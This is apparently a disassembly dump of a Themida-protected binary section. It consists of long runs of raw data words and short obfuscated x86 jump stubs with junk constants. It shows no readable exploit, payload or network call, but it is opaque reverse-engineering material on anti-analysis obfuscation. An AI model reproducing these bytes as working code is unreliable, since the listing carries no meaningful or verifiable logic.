		dd 0F8E9241Ch, 0C1FFFF42h, 0C30D04E0h, 0E9698D69h, 0FFFF32A3h
		dd 4C681h, 0EE830000h, 24348704h, 243C895Ch, 50EDE9h, 0C1474700h
		dd 0B85002E7h, 199CF648h, 0FF32FFE9h, 48B5CFFh,	0E1895124h
		dd 4C181h, 0BE560000h, 4, 0FFB6F6E9h, 3E3C1FFh,	2C48F381h
		dd 0DA29BAD5h, 28C2815Bh, 0E98DD277h, 228Eh, 4FE9EE01h
		dd 0BEFFFFC7h, 0FFFFFFFFh, 0FF4355E9h, 0B65266FFh, 0E9F1883Bh
		dd 0FFFF0FA6h, 405h, 74FF5000h,	8F580424h, 0C15C2404h
		dd 0B8E90AE9h, 83FFFF48h, 0C00904C4h, 2A9E840Fh, 77FFFFFFh
		dd 2434FF1Ch, 0FF1187E9h, 4C681FFh, 0E9000000h,	3CA4h
		dd 0D41BE9ADh, 0C483FFFFh, 592A8804h, 5A2434FFh, 4C481h
		dd 1DE90000h
		db 0Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55F903:				; CODE XREF: Themida_:0055433Fj
		pop	ebx
		add	edx, edi
		jmp	loc_55448C
; ---------------------------------------------------------------------------

loc_55F90B:				; CODE XREF: Themida_:005541C7j
		and	ebp, 3DD009F4h
		push	esi
		mov	esi, 7DE072BDh
		push	edx
		mov	edx, 0ED72228h
		jmp	loc_55D766
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5E0424h, 0E95C2404h, 0FFFFC947h, 0E9E9028Fh, 31FFFF0Ah
		dd 0F20159CEh, 8324348Bh, 0EA8104C4h, 4, 31241433h, 14332414h
		dd 24248B24h, 5404EC83h, 0FFC9D6E9h, 48B66FFh, 5A545224h
		dd 0B2BE5653h, 8108972Ah, 99793AEEh, 0D6BF5748h, 811D806Eh
		dd 81DFB6C7h, 0EB7CE922h, 0D9F7FFFFh, 0E904E1C1h, 0FFFF0FC2h
		dd 3446E95Bh, 0D6BF0000h, 0C177115Ch, 0D7F706EFh, 77FBC781h
		dd 0FE214620h, 31C6815Fh, 1414C59h, 0FA895EF7h,	83243C8Bh
		dd 0F28104C4h, 6BC66DC7h, 148BD329h, 0DAE5E924h, 0E954FFFFh
		dd 4F42h
; ---------------------------------------------------------------------------

loc_55F9CC:				; CODE XREF: Themida_:0056025Fj
		add	esp, 4
		jmp	loc_5622AC
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 4, 5D63ED81h, 0ED8170FDh, 18305B8Bh, 8E9FD01h
		dd 0BB000009h, 6BC71EA6h, 0E95BD829h, 0FFFFABB9h, 582434FFh
		dd 7B60E952h, 875FFFFFh, 0E95C2404h, 0FFFF62E4h, 0E5C0D5F6h
		dd 0E9E5D008h, 0FFFF2115h, 26C068ADh, 14890000h, 4EC8324h
		dd 0BB241C89h, 77FB6C4Ch, 2414F753h, 9EE9435Bh,	5EFFFFB0h
		dd 4EC81h, 4890000h, 4BE5624h, 89000000h, 0EB815EF0h, 32857D33h
		dd 6CE9C329h, 30FFFFF0h, 86C3FED8h, 839F2CD8h, 148904ECh
		dd 4EB15124h, 8059CA88h, 0F2802AE2h, 9DC280C2h,	2B61E9h
		dd 0CFF68100h, 89007755h, 4AD6E9F1h, 0F931FFFFh, 83FFE95Fh
		dd 0BD55FFFFh, 0D60FD9B2h, 4EC2C381h, 0EB816C16h, 18E42CFCh
		dd 0FF6B48E9h, 0A8E95AFFh, 8BFFFF21h, 0C481241Ch, 4, 0FF6AB0E9h
		dd 81FA01FFh, 0E535F6C2h, 0B8505F45h, 4, 8758C201h, 248B2414h
		dd 8B545024h, 0C4832404h, 40504h, 4050000h, 87000000h
		dd 0E92404h, 0BDFFFF4Dh, 3D1B3BDFh, 6BE9DDF7h, 81000053h
		dd 428547F5h, 5DE93119h, 159C889h, 0DDE958C2h, 50h, 0EBE959CBh
		dd 0BDFFFF8Dh, 0B0BB9B7Fh, 15FFD01h, 0AA685DEFh, 8900006Eh
		dd 0E389241Ch, 4C381h, 0EB810000h, 4, 31241C33h, 1C33241Ch
		dd 0DDFDE924h, 0BF57FFFFh, 1712104Fh, 44E8EF81h, 0EFC151FEh
		dd 0E2E78108h, 4F2EC41Bh, 135DEF81h, 0EE9587Ch
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FB67:				; CODE XREF: Themida_:00559223j
		pop	eax
		jmp	loc_553BDC
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 50h
		dd 4EC81h, 24890000h, 4BA5224h,	1000000h, 8B042454h, 0C4832414h
		dd 4055804h, 0E9000000h, 0FFFF588Eh, 8924248Bh,	6768243Ch
		dd 89000073h, 0BB68242Ch, 5D431D1Bh, 3EBE5653h,	89221D50h
		dd 81435EF3h, 8D2555F3h, 5BDD213Ah, 0FF450DE9h,	4C781FFh
		dd 0E9000000h, 0FFFFE8C1h
; ---------------------------------------------------------------------------

loc_55FBCC:				; CODE XREF: Themida_:0055F237j
		push	edx
		mov	edx, 0C392006h
		jmp	loc_55AFB0
; ---------------------------------------------------------------------------
aSqi		db '[éďI',0
		dd 58C32900h, 34FFC331h, 0EFFAE924h, 0D901FFFFh, 35B9E9h
		dd 4C78300h, 5C243C87h,	6E1C149h, 4EC81h, 3C890000h, 0C579E924h
		dd 3C87FFFFh, 0EE015C24h, 2434875Dh, 0F1F7665Ch, 227068h
		dd 24148900h, 81515A54h, 4ECh, 243C8900h, 0FF36DDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55FC31:				; CODE XREF: Themida_:005511C6j
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		add	ebx, 4
		push	3300h
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_5523C6
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFE21Dh, 4C481h, 68530000h, 5C80h, 81242489h
		dd 42404h, 1C8B0000h, 4C48124h,	56000000h, 1254BD55h, 0D5F76266h
		dd 0E9BCE94Dh, 0C301FFFFh, 8B5B0B01h, 0C4812404h, 4, 5540E9h
		dd 242C8900h, 8BBEE957h, 34FFFFFFh, 0C4815924h,	4, 748C68h
		dd 242C8900h, 136EE9h, 42BF5700h, 0F7591E66h, 3EC781DFh
		dd 293202F2h, 0FCE95FF9h, 1FFFF37h, 2434FFCDh, 4C48159h
		dd 57000000h, 2BFh, 5FFD0100h, 31242C33h, 2C33242Ch, 24248B24h
		dd 0FF8BBEE9h, 9D6858FFh, 89000037h, 0E957242Ch, 21D8h
		dd 1295DBDh, 7975E927h,	0F180FFFFh, 0E9CA3051h,	4B02h
		dd 0F461BD55h, 0EF29CAA3h, 5FFD895Dh, 0AEE952h,	0C4830000h
		dd 0E3BF5704h, 0E9779E72h, 0FFFFF0BAh, 0CAA68h,	24348900h
		dd 24348B54h, 0FFB820E9h, 0D7C680FFh, 5CA6E9h, 4BF5700h
		dd 0E9000000h, 0FFFF8625h, 8B2434FFh, 0C4832404h, 0E2895204h
		dd 7DC2B850h, 4CE90747h, 0FFFFFFE0h, 575F2434h,	0C781E789h
		dd 4, 3304C783h, 3C31243Ch, 3B90E924h, 814FFFFFh, 7B3A78E7h
		dd 0B5EF817Bh, 0E9959727h, 0FFFFFCEEh, 7DE99C50h
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_55FDA3:				; CODE XREF: Themida_:0055B820j
		push	639Ah
		mov	[esp], esi
		push	edx
		jmp	loc_5631E3
; ---------------------------------------------------------------------------

loc_55FDB1:				; CODE XREF: Themida_:00554678j
		mov	ebp, 43D416DBh
		shr	ebp, 2
		and	ebp, 372E4F99h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 24785842h
		or	ebp, eax
		jmp	loc_561AE5
; ---------------------------------------------------------------------------
		dd 8D33D368h, 0A4E95A35h, 83FFFF22h, 0C8904ECh,	801FB124h
		dd 0F18063C1h, 59C828BDh, 5358C388h, 0D828A8B3h, 0F31EE95Bh
		dd 8F5EFFFFh, 0D2E92404h, 81000005h, 0D87D8EF2h, 5AD32929h
		dd 0C381EB01h, 5FF0E0Eh, 1B63E95Dh, 3C89FFFFh, 48F8BF24h
		dd 45E96DD8h, 8FFFFF63h, 248B2404h, 0AF0F6624h,	9C5166C8h
		dd 0FF05E3E9h, 0EC81ACFFh, 2, 24148966h, 0FF10F2E9h, 52EB87FFh
		dd 0BAh, 89EA2900h, 0EB875AD5h,	68h, 241C2900h,	0FF54BDE9h
		dd 3EBC1FFh, 0C102EBC1h, 0E3C107E3h, 0C2EB8102h, 815BBA4Ch
		dd 0DCA0FDF3h, 7292E9E6h, 0C283FFFFh, 6A6AE904h, 5FBFFFFFh
		dd 310D24A3h, 0D0315FFAh, 8124148Bh, 4C4h, 0D519E900h
		dd 0FB89FFFFh, 0FF7525E9h, 241C89FFh, 2ED7E9h
		db 0
; ---------------------------------------------------------------------------

loc_55FEB5:				; CODE XREF: Themida_:00555DB5j
		mov	ebx, [esp]
		jmp	loc_55A691
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0E1895124h, 4C181h, 0BA680000h, 0E9000035h, 0FFFF36D9h
		dd 4EC81h, 4890000h, 55585424h,	8904EC83h, 0CE68240Ch
		dd 59571B57h, 3922E9h, 4C18100h, 55000000h, 4BDh, 725FE900h
		dd 3305FFFFh, 68214864h, 6EA3h,	0B9240C89h, 18A6588Dh
		dd 68FFC183h, 15B5h, 0FF240C89h, 0F7E9240Ch, 66FFFFE9h
		dd 6602E2C1h, 0CFAAEA81h, 0FF84FCE9h, 2434FFFFh, 4C4815Bh
		dd 53000000h, 0A233F1BBh, 0A0F38105h, 8153833Bh, 7642CAEBh
		dd 4E3C11Dh, 0F707E3C1h, 0FBEB81D3h, 0E9A9D3C7h, 0FFFFA276h
; ---------------------------------------------------------------------------

loc_55FF64:				; CODE XREF: Themida_:00551B4Cj
		push	ecx
		jmp	loc_555149
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 0B4DE9h, 97685700h, 89000034h, 0B2BD242Ch, 3147966Ah
		dd 8B04246Ch, 8952242Ch, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 64E9595Ch, 83FFFFD1h, 3C8904ECh, 0D6685324h,	5B474667h
		dd 0F381DBF7h, 0B8B9982Eh, 67DF68h, 241C8900h, 6D242C81h
		dd 5F2ADF11h, 15FDE9h, 24343100h, 8B243433h, 89662424h
		dd 0F66240Ch, 5166C8B6h, 43AE99Ch, 2C89FFFFh, 2474FF24h
		dd 242C8B04h, 81E68956h, 4C6h, 0B3B85000h, 48325671h, 0A07AED2Dh
		dd 10F80D6Fh, 0CA051B05h, 5326D65h, 47073622h, 0D56D1B05h
		dd 23C681AAh, 1782C40h,	23EE81C6h, 58782C40h, 8B243487h
		dd 0D5E92424h, 89FFFF06h, 0FA2959CFh, 0FFBF575Fh, 29FFFFFFh
		dd 0B9515FFAh, 1F6D2045h, 2B06E181h, 0D9F76C14h, 3512F181h
		dd 81494869h, 0FC012BE9h, 59CA31C9h, 280EE9h
		db 0
; ---------------------------------------------------------------------------

loc_560065:				; CODE XREF: Themida_:005634A9j
		mov	ebp, [esp]
		push	esi
		jmp	loc_56484C
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 9AEEF381h, 0D82907C6h, 0E9241C8Bh, 0FFFFADC8h, 4C681h
		dd 0EE830000h, 24348704h, 2404895Ch, 0FF453AE9h, 0FFC581FFh
		dd 0E9FFFFFFh, 0FFFFC6EAh
; ---------------------------------------------------------------------------

loc_5600A0:				; CODE XREF: Themida_:00564923j
		xor	edx, 76F36974h
		sub	edx, 1D551BDBh
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55B53E
; ---------------------------------------------------------------------------
		db 54h,	5Dh, 57h
		dd 0D82FE4BFh, 4F54E971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5600CA:				; CODE XREF: Themida_:005610AEj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5643A3
; ---------------------------------------------------------------------------
		dd 5D9668h, 24348900h, 0BB53E689h, 550F4526h, 219ACB81h
		dd 814B62F6h, 9A47C3h, 5BDE0188h, 8704C683h, 425C2434h
		dd 23C9C281h, 0F281234Ah, 37545731h, 230AE9h
		db 0
; ---------------------------------------------------------------------------

loc_560111:				; CODE XREF: Themida_:0055858Ej
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B8C7
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 64E16852h, 425A2E59h, 0A1F2814Ah, 8171E333h,	7A60D7C2h
		dd 5AD68950h, 6E25EA81h, 0F20112BFh, 0FF4C88E9h, 393DB8FFh
		dd 4D2D261Eh, 0F76C100Dh, 0BCD8E9D0h, 433FFFFh,	24043124h
		dd 0FF0D31E9h, 84BD55FFh, 4D71BC3Dh, 0FFACE5E9h, 2483BEFFh
		dd 0D62930F6h, 5EF2015Ah, 0FF21C6E9h, 68E189FFh, 19B7h
		dd 52240489h, 4101E950h, 6C81FFFFh, 3F6E0424h, 7C013AE2h
		dd 44810424h, 3F6E0424h, 0EFE93AE2h, 0C100004Ah, 0EE8103EEh
		dd 0CEFB575Dh, 5561EB81h, 0F3011A3Fh, 5561C381h, 295E1A3Fh
		dd 0B4E956C3h, 89FFFFCFh, 8B542404h, 0E9552404h, 1B79h
		dd 5E2434FFh, 6F8168h, 242C8900h, 0C581E589h, 4, 8704C583h
		dd 248B242Ch, 1EECE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5601FA:				; CODE XREF: Themida_:005580A6j
		pop	esp
		push	esi
		jmp	loc_558BB3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 0E6895624h, 4C681h, 6DE90000h, 81FFFFDBh, 4C2h, 62AC6800h
		dd 14890000h, 2474FF24h, 48F5A04h, 24248B24h, 283568h
		dd 24348900h, 0C681E689h, 4, 8704C683h,	248B2434h, 2434FF24h
		dd 8324048Bh, 0EC8304C4h, 1FF0E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560256:				; CODE XREF: Themida_:00552C57j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55F9CC
; ---------------------------------------------------------------------------
		dd 5CD7E952h, 0E981FFFFh, 7DF45B05h, 0FFEF98E9h, 4C581FFh
		dd 87000000h, 0E95C242Ch, 0FFFF2EE6h, 5004C483h, 1D5B5DB8h
		dd 72A3354Dh, 0EC813212h, 4, 0BB241C89h, 630C1D7Eh, 0FF8333E9h
		dd 0E962B3FFh, 0FFFF9985h, 54241C89h, 0E9241C8Bh, 0FFFF3FA5h
		dd 4EA81h, 14870000h, 5BB3E924h, 0D689FFFFh, 5A2434FFh
		dd 2BBEE950h, 0C9BD0000h, 0E92C240Dh, 0FFFF1735h
; ---------------------------------------------------------------------------

loc_5602DC:				; CODE XREF: Themida_:00554BD7j
		inc	edi
		add	edi, 7AC92C25h
		xor	edi, 5017E64Fh
		add	ebp, edi
		pop	edi
		push	esi
		push	652071B6h
		jmp	loc_550553
; ---------------------------------------------------------------------------
		db 81h
		dd 305B8BC5h, 0BDF2E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560302:				; CODE XREF: Themida_:0056513Fj
		mov	edi, ecx
		jmp	loc_5654B2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 52000000h, 0CD29E956h, 0EF87FFFFh, 4C58F781h, 0FA017B83h
		dd 8B2434FFh, 0C483243Ch, 0E6E95004h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56032F:				; CODE XREF: Themida_:0055664Ej
		mov	ebp, 2DED3F65h
		jmp	loc_56351F
; ---------------------------------------------------------------------------
		db 29h,	0F2h, 50h
		dd 0A66C7B8h, 560C3549h, 0C2010DACh, 6EE95E58h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56034F:				; CODE XREF: Themida_:0055EF67j
		sub	ebp, 0F6A4DA5h
		sub	ebp, edx
		push	ebx
		mov	ebx, 0F6A4DA5h
		add	ebp, 2817398Ah
		add	ebp, ebx
		jmp	loc_5639A7
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 1B0F3202h, 5A30F681h, 0E68148EAh, 7BC424DFh,	2044EE81h
		dd 0F1016384h, 8EB8505Eh, 0E956EF62h, 448Ch, 7343C381h
		dd 32E97EFCh, 50FFFF7Ah, 9E7255B8h, 16280D3Eh, 0E8830C82h
		dd 4EC83FFh, 0E9240489h, 0FFFF2DECh, 281DEF80h,	1DC780D7h
		dd 8BADC780h, 0C4812414h, 4, 805BF988h,	0C9807CE1h, 4E9C05Ch
		dd 0FF2A90E9h, 34FF5CFFh, 2434FF24h, 8324048Bh,	0B4E904C4h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5603EB:				; CODE XREF: Themida_:005554EFj
		add	esi, 2765552Ch
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55880D
; ---------------------------------------------------------------------------
		dd 1FC2814Ah, 81526E4Eh, 0E104246Ch, 295DB424h,	81042454h
		dd 0E1042444h, 8B5DB424h, 0C4832414h, 0D9AE904h, 248B0000h
		dd 0FFCF2924h, 34FF2434h, 6E685924h, 89000017h,	0E389241Ch
		dd 459DE9h, 51B2B000h, 1F40E9h
		db 0
; ---------------------------------------------------------------------------

loc_560449:				; CODE XREF: Themida_:0055A09Ej
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5560D2
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 242C8904h, 42474FFh,	0FFAD31E9h, 8CF781FFh, 810F5D17h
		dd 0BB9211C7h, 5FF801A7h, 8704C083h, 0CDE92404h, 89FFFFF7h
		dd 1CF7241Ch, 0EC815B24h, 4, 0FFE7F6E9h, 4BFFFh, 7C010000h
		dd 0E95F0424h, 0FBDh
; ---------------------------------------------------------------------------

loc_5604A0:				; CODE XREF: Themida_:0056052Aj
		push	ecx
		mov	ecx, 274604E1h
		add	ecx, 5579670Fh
		add	ecx, 8F199B04h
		sub	ebx, ecx
		pop	ecx
		pop	ecx
		shr	ebx, 1
		push	edx
		mov	edx, 7A1B3D63h
		push	ecx
		mov	ecx, 51FC76A8h
		jmp	loc_5544BB
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 0C875BD9h,	4E95C24h, 81FFFFE0h, 8A0E25C9h
		dd 47E18118h, 4124185Ah, 0B61BE981h, 0CE09AE8Fh, 0E9240C8Bh
		dd 560Bh, 0D045966h, 0D2CF028h,	5A2434FFh, 0FFA80FE9h
		dd 24048BFFh, 81E18951h, 4C1h, 0FFAFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56051A:				; CODE XREF: Themida_:005573A5j
		and	eax, 30CD7029h
		add	eax, 48BFE42Dh
		mov	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		jmp	loc_5604A0
; ---------------------------------------------------------------------------
aHsd		db 'Héd',8,0
		dd 2860BB00h, 35E92F33h, 0BAFFFF43h, 0B97B9A8Fh, 34FFF201h
		dd 24348B24h, 4C481h, 89500000h, 405E0h, 4050000h, 87000000h
		dd 815C2404h, 414535CAh, 6E95129h, 100001Ch, 8104246Ch
		dd 0F504246Ch, 811AD73Ch, 0B2042444h, 814E874Bh, 8304246Ch
		dd 5D651674h, 5153E958h, 0E953FFFFh, 0FFFF0A89h, 6624248Bh
		dd 9C240421h, 0FEFE7BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5605A5:				; CODE XREF: Themida_:00560808j
		add	eax, 8880DDCh
		jmp	loc_55C5EE
; ---------------------------------------------------------------------------
		db 81h
		dd 0AA7FE9C3h, 0DCB85060h, 2500E264h, 31AC5764h, 6C35D8F7h
		dd 0E94D6127h, 0FFFFB535h, 0A11FECBDh, 14F75521h, 0BA525D24h
		dd 73E94999h, 0BB58EA81h, 0AFE92DD6h, 83FFFF85h, 48B04C4h
		dd 0E2895224h, 4C281h, 0C2830000h, 24143304h, 33241431h
		dd 28E92414h, 4FFFFB0h,	815B66D0h, 4ECh, 24148900h, 0FF15F1E9h
		dd 8BFB21FFh, 0C481243Ch, 4, 89CF381h, 0D9010F40h, 0C550E95Bh
		dd 0E9E9FFFFh, 5EFFFEFDh, 0FF71DAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56063D:				; CODE XREF: Themida_:00555F78j
		mov	[esp], eax
		mov	eax, 10695456h
		jmp	loc_5642A8
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 11589D1Ch, 0E99C2404h, 0FFFFEC04h, 64B668h, 24348900h
		dd 0FF8429E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560665:				; CODE XREF: Themida_:00551E4Dj
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		xor	edi, eax
		jmp	loc_55DF28
; ---------------------------------------------------------------------------
		db 66h
		dd 6824148Bh, 7B4Fh, 89240489h,	238A68E0h, 0C890000h, 1BA5224h
		dd 0E969F84Ch, 0FFFF9AB7h, 242C8156h, 5A2601FDh, 1FD0558h
		dd 0BEE95A26h, 89000036h, 34FF241Ch, 0AEC9E924h, 0E901FFFFh
		dd 7902C181h, 15D3E92h,	240C8BC8h, 68E68956h, 47B9h, 0BA241489h
		dd 3A3D63B8h, 3535E281h, 0E2C15E0Bh, 0C8CA8105h, 0E9278232h
		dd 0FFFF5551h, 81240C8Bh, 4C4h,	3E0400h, 0C0B652F0h, 0F613C680h
		dd 16B151D6h, 0E1C0C9FEh, 0D993E902h, 515EFFFFh, 8A0925B9h
		dd 35C9811Ch, 0F7234915h, 0F4E981D9h, 6841F66Eh, 0
		dd 59240C29h, 2CF18149h, 0E981C18Ch, 0FFFF2DE2h, 0A950E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560736:				; CODE XREF: Themida_:0055F2B4j
		mov	[esp], edx
		push	ecx
		mov	ecx, 20AF7D7Bh
		mov	edx, ecx
		pop	ecx
		or	edx, 2B713E01h
		shl	edx, 5
		jmp	loc_5509E1
; ---------------------------------------------------------------------------
		dd 8124348Bh, 4C4h, 4C48300h, 4F81E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_560762:				; CODE XREF: Themida_:00552676j
		pop	eax
		push	ecx
		push	4068h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	68Eh
		mov	[esp], ebp
		jmp	loc_56080D
; ---------------------------------------------------------------------------
		db 88h,	0EBh, 59h
		dd 88DE8852h, 24148BF5h, 0FF03D8E9h, 0E9D501FFh, 0FFFFE299h
		dd 10E9CB01h, 8BFFFFFEh, 21E92414h, 5B000004h, 7524BF57h
		dd 0FE2171C2h, 0D807E95Fh, 5153FFFFh, 4B9h, 0CA895200h
		dd 18E9D389h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5607C7:				; CODE XREF: Themida_:0055DEF7j
		mov	[esp], ecx
		jmp	loc_5639B3
; ---------------------------------------------------------------------------

loc_5607CF:				; CODE XREF: Themida_:0055CAE6j
		xor	[esp], edi
		jmp	loc_5506FF
; ---------------------------------------------------------------------------
		db 5Eh
		dd 563B951h, 0E9815439h, 0B56A527h, 49FFC183h, 0E5ADE952h
		dd 63BAFFFFh, 2D14AA40h, 50264E07h, 0FFE9D001h,	8BFFFF50h
		dd 69E92424h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560807:				; CODE XREF: Themida_:005640D4j
		pop	ebx
		jmp	loc_5605A5
; ---------------------------------------------------------------------------

loc_56080D:				; CODE XREF: Themida_:0056077Cj
		mov	ebp, 377F1221h
		or	ebp, 757414F2h
		push	2B94h
		mov	[esp], edi
		mov	edi, 3EDB2C9Dh
		jmp	loc_559D82
; ---------------------------------------------------------------------------
		dw 0C72Ch
		dd 0FF4AAAE9h, 4C581FFh, 87000000h, 555C242Ch, 7A0E58BDh
		dd 83534553h, 48904ECh,	33C26824h, 0E95853F9h, 0FFFF2437h
		dd 48BC101h, 4C48124h, 29000000h, 64BA52F1h, 29389401h
		dd 0E95E5AD1h, 0FFFFD276h, 243C8B54h, 4C481h, 93680000h
		dd 8900007Fh, 0BB532414h, 61483495h, 3FEAE9h
		db 0
; ---------------------------------------------------------------------------

loc_56088D:				; CODE XREF: Themida_:0055AFABj
		mov	[esp], edi
		push	esp
		pop	edi
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_552412
; ---------------------------------------------------------------------------
		db 51h
		dd 0FF708BE9h, 4C181FFh, 68000000h, 3A8Fh, 81242C89h, 4ECh
		dd 0E083E900h, 3489FFFFh, 79F8BE24h, 0EEE92B03h, 4FFFF53h
		dd 515A6665h, 0A6E969B1h, 50FFFFD3h, 9C63C1B8h,	8E21BA5Eh
		dd 0C28187B7h, 1ED57BACh, 0FDE9C229h, 81FFFFDFh, 4C4h
		dd 0FEF8100h, 2D23568Dh, 5AD01B53h, 5305F829h, 8B5AD01Bh
		dd 0C481243Ch, 4, 0FFE82BE9h, 241489FFh, 0EA8055B2h, 0E6C28030h
		dd 2EE9D388h, 1FFFF99h,	3C875BDFh, 0BF575C24h, 594E7051h
		dd 34FFFB29h, 2434FF24h, 0E689565Fh, 4C681h, 0C6830000h
		dd 24348704h, 979FE95Ch, 6852FFFFh, 14BDh, 83242489h, 0E9042404h
		dd 0FFFFCC33h, 0CE28C4B6h, 0FFFD6FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560975:				; CODE XREF: Themida_:0055683Aj
		push	eax
		mov	eax, 5D9A216Fh
		neg	eax
		add	eax, 117F1363h
		and	eax, 7AA133BEh
		and	eax, 2C819B2h
		xor	eax, 18167EE3h
		mov	ebp, eax
		jmp	loc_559769
; ---------------------------------------------------------------------------
		dd 9B32F4BBh, 5BDF315Eh, 89FA8952h, 295F5AD6h, 2434FFF0h
		dd 8324348Bh, 895104C4h, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 74FF505Ch, 48B0424h,	4C48124h, 8F000000h, 248B2404h
		dd 34896624h, 0B2BE6624h, 0F03166D2h, 24348B66h, 0E902C483h
		dd 0FFFF2321h, 57243C8Bh, 0C781E789h, 4, 8704C783h, 66E9243Ch
		dd 33FFFF52h, 0F9E92404h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_560A0F:				; CODE XREF: Themida_:0055EF19j
		mov	ch, bh
		mov	dh, ch
		jmp	loc_557CC7
; ---------------------------------------------------------------------------
		dd 16506852h, 815A39BCh, 0E4CBF5EAh, 5AD68925h,	0FF1824E9h
		dd 0CE0158FFh, 6C4E6859h, 3C890000h, 0EE95324h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_560A3F:				; CODE XREF: Themida_:0055F34Ej
		mov	esp, [esp]
		push	ebx
		jmp	loc_55ECC3
; ---------------------------------------------------------------------------
		dd 4B8h, 0EDEF8100h, 1419E05h, 0EDC781C7h, 0FF419E05h
		dd 48B2434h, 7D6BE924h,	2568FFFFh, 89000074h, 0D5B02404h
		dd 0C508A32Ch, 0BEF58058h, 30E3F580h, 89E959EBh, 0B7FFFFDDh
		dd 0AFBBE9CCh, 0E95BFFFFh, 0FFFFDCA9h, 0A0096435h, 83EE8102h
		dd 553E582Bh, 8E1132BDh, 0EDEEE975h, 0E128FFFFh, 0E48E9h
		dd 0E0895000h, 405h, 40500h, 4870000h, 425EE924h, 5C01FFFFh
		dd 0FF5B0424h, 815D2434h, 4ECh,	241C8900h, 0FF6EB1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_560AD9:				; CODE XREF: Themida_:0056445Cj
		pop	ecx
		jmp	loc_557924
; ---------------------------------------------------------------------------
		db 0BBh
		dd 467F27EEh, 3A68F381h, 81433DE3h, 750F09E3h, 1C38375h
		dd 15BBCB81h, 0FEE92DA9h, 5100002Dh, 0EC5D56B9h, 6E9C10Dh
		dd 0F372F181h, 0CE21664Bh, 0E9240C8Bh, 0FFFFEBCCh, 0E908E8C1h
		dd 0FFFF8B47h, 582434FFh, 6804C483h, 7398h, 56243C89h
		dd 4B7D68h, 73EBE900h, 0EC83FFFFh, 240C8904h, 3BF8B850h
		dd 14252FD3h, 253D604Bh, 0A6976A7h, 502E0C1h, 4DA548A5h
		dd 89C68956h, 24348BF1h, 4C481h, 0F7580000h, 33C181D9h
		dd 8111CE7Fh, 292E8CF1h, 0E9CA01A3h, 0FFFFA276h, 35E9C729h
		dd 54FFFF9Bh, 0FF8859E9h, 24048BFFh, 4BAE9h, 4C48100h
		dd 2C000000h, 0EC2C04h,	4EC04D8h, 835B6604h, 348904ECh
		dd 6E0C6824h, 24890000h, 2281E924h, 1489FFFFh, 356E924h
		dd 21040000h, 0E92434FFh, 0B3Dh, 4C483h, 505866E1h, 0FEF89AE9h
		dd 73C381FFh, 5237965Dh, 0FF1A3DE9h, 4C483FFh, 4608F781h
		dd 0EC81561Bh, 4, 5D243C89h, 0C2B8505Fh, 0C15E0814h, 0E0D107E8h
		dd 0A31FB935h, 0EE142D26h, 0C531F73Ch, 8124048Bh, 4C4h
		dd 0FFE82100h, 835D2434h, 3C8904ECh, 0E9E78924h, 0FFFF573Ah
; ---------------------------------------------------------------------------

loc_560C28:				; CODE XREF: Themida_:00550A03j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		sub	edx, 7FEFFF6Bh
		jmp	loc_55BD81
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
